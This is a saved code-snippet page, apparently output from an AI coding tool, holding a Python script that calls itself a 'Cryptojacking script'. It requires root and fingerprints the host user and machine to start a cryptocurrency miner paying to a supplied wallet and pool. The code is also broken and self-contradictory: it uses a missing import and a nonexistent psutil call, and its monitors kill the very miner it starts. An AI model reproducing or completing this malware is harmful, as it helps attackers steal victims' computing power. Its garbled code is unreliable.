Improved Response: The updated code includes the - Blackbox
Mon May 13 2024 03:54:22 GMT+0000 (Coordinated Universal Time)
Saved by @mohmdemoon
python Edit Run Full Screen Copy code 1import argparse 2import hashlib 3import logging 4import os 5import platform 6import psutil 7import scapy 8import plyer 9import time 10import threading 11 12# Set up logging 13logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s") 14logger = logging.getLogger(__name__) 15 16def get_system_info(): 17 """Get system information""" 18 username = getpass.getuser() 19 hostname = platform.node() 20 system_info = f"{username}@{hostname}" 21 return system_info 22 23def generate_unique_id(system_info): 24 """Generate a unique ID based on system information""" 25 unique_id = hashlib.sha256(system_info.encode()).hexdigest() 26 return unique_id 27 28def start_miner(wallet_address, mining_pool, unique_id): 29 """Start the miner with the given wallet address, mining pool, and unique ID""" 30 miner_command = f"miner --algo=ethash --pool={mining_pool} --user={wallet_address} --rig-id={unique_id}" 31 logger.info(f"Starting miner with command: {miner_command}") 32 os.system(miner_command) 33 34def check_permissions(): 35 """Check if the script has sufficient permissions to run""" 36 if os.geteuid()!= 0: 37 logger.error("Insufficient permissions to run the script. Please run as root.") 38 exit(1) 39 40def monitor_resources(): 41 """Monitor system resources and take action if necessary""" 42 while True: 43 # Check CPU and GPU usage 44 cpu_usage = psutil.cpu_percent() 45 gpu_usage = psutil.gpu_percent() 46 47 # If CPU or GPU usage exceeds the threshold, stop mining and send an alert 48 if cpu_usage > 80 or gpu_usage > 80: 49 logger.warning("CPU or GPU usage too high! Stopping mining...") 50 os.system("killall miner") 51 # Send an alert to the user (e.g., via email or push notification) 52 53 # Sleep for 10 seconds before checking again 54 time.sleep(10) 55 56def monitor_network(): 57 """Monitor network traffic and take action if necessary""" 58 while True: 59 # Check for unusual outbound connections 60 packets = scapy.sniff(filter="outbound") 61 for packet in packets: 62 if packet.haslayer(scapy.IP) and packet.haslayer(scapy.TCP): 63 if packet[scapy.TCP].dport == 4444: # Mining pool port 64 logger.warning("Suspicious outbound connection detected! Stopping mining...") 65 os.system("killall miner") 66 # Send an alert to the user (e.g., via email or push notification) 67 68 # Sleep for 10 seconds before checking again 69 time.sleep(10) 70 71def notify_user(message): 72 """Send a notification to the user""" 73 plyer.notification.notify( 74 title="Cryptojacking Alert", 75 message=message, 76 timeout=10 77 ) 78 79def main(): 80 parser = argparse.ArgumentParser(description="Cryptojacking script") 81 parser.add_argument("-w", "--wallet-address", help="Your cryptocurrency wallet address", required=True) 82 parser.add_argument("-p", "--mining-pool", help="The mining pool to connect to", required=True) 83 args = parser.parse_args() 84 85 check_permissions() 86 system_info = get_system_info() 87 unique_id = generate_unique_id(system_info) 88 89 # Start the miner 90 start_miner(args.wallet_address, args.mining_pool, unique_id) 91 92 # Start the resource monitoring thread 93 resource_monitoring_thread = threading.Thread(target=monitor_resources) 94 resource_monitoring_thread.start() 95 96 # Start the network monitoring thread 97 network_monitoring_thread = threading.Thread(target=monitor_network) 98 network_monitoring_thread.start() 99 100 # Start the user notification thread 101 user_notification_thread = threading.Thread(target=notify_user, args=("Miner started!",)) 102 user_notification_thread.start() 103 104 # Keep the main thread alive until the user terminates the script 105 while True: 106 time.sleep(1) 107 108if __name__ == "__main__": 109 main()
Comments